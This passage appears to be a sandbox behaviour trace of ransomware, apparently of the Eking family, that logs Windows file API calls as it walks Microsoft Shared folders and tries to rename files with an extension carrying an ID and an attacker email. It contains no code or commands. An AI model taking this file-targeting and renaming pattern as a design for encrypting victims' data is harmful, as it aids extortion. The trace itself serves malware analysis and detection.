"c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its")) returned 0x20 [0176.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0176.039] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=229888) returned 1 [0176.039] CloseHandle (hObject=0x1f0) returned 1 [0176.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.dll")) returned 0x20 [0176.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.dll")) returned 0x20 [0176.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0176.041] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1046514) returned 1 [0176.041] CloseHandle (hObject=0x1f0) returned 1 [0176.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its")) returned 0x20 [0176.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its")) returned 0x20 [0176.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0176.042] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=678912) returned 1 [0176.042] CloseHandle (hObject=0x1f0) returned 1 [0176.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex")) returned 0x20 [0176.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex")) returned 0x20 [0176.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0176.043] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1469358) returned 1 [0176.043] CloseHandle (hObject=0x1f0) returned 1 [0176.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its")) returned 0x20 [0176.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its")) returned 0x20 [0176.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.044] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.045] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0176.046] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=229888) returned 1 [0176.046] CloseHandle (hObject=0x1f0) returned 1 [0176.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.dll")) returned 0x20 [0176.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.dll")) returned 0x20 [0176.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0176.047] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=840364) returned 1 [0176.048] CloseHandle (hObject=0x1f0) returned 1 [0176.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its")) returned 0x20 [0176.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its")) returned 0x20 [0176.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0176.053] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=616960) returned 1 [0176.053] CloseHandle (hObject=0x1f0) returned 1 [0176.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex")) returned 0x20 [0176.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex")) returned 0x20 [0176.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.054] SetEvent (hEvent=0x174) returned 1 [0176.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0176.054] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2120459) returned 1 [0176.055] CloseHandle (hObject=0x1f0) returned 1 [0176.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex")) returned 0x20 [0176.055] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0176.055] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex")) returned 0 [0176.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0176.056] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1536) returned 1 [0176.056] CloseHandle (hObject=0x1f0) returned 1 [0176.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex")) returned 0x20 [0176.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex")) returned 0x20 [0176.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1core.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.258] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=178576) returned 1 [0176.258] CloseHandle (hObject=0x1e8) returned 1 [0176.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1core.dll")) returned 0x20 [0176.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1core.dll")) returned 0x20 [0176.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1core.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.259] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1core.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.259] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\wtsp61ms.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.259] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=221184) returned 1 [0176.259] CloseHandle (hObject=0x1e8) returned 1 [0176.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\wtsp61ms.dll")) returned 0x20 [0176.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\wtsp61ms.dll")) returned 0x20 [0176.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\wtsp61ms.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.260] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\wtsp61ms.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.260] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.261] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=334427) returned 1 [0176.261] CloseHandle (hObject=0x1e8) returned 1 [0176.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm")) returned 0x20 [0176.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm")) returned 0x20 [0176.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.262] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=109718) returned 1 [0176.262] CloseHandle (hObject=0x1e8) returned 1 [0176.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 0x20 [0176.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 0x20 [0176.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbe7intl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.264] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=154960) returned 1 [0176.264] CloseHandle (hObject=0x1e8) returned 1 [0176.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbe7intl.dll")) returned 0x20 [0176.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbe7intl.dll")) returned 0x20 [0176.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbe7intl.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbe7intl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.266] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=72031) returned 1 [0176.266] CloseHandle (hObject=0x1e8) returned 1 [0176.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm")) returned 0x20 [0176.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm")) returned 0x20 [0176.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft 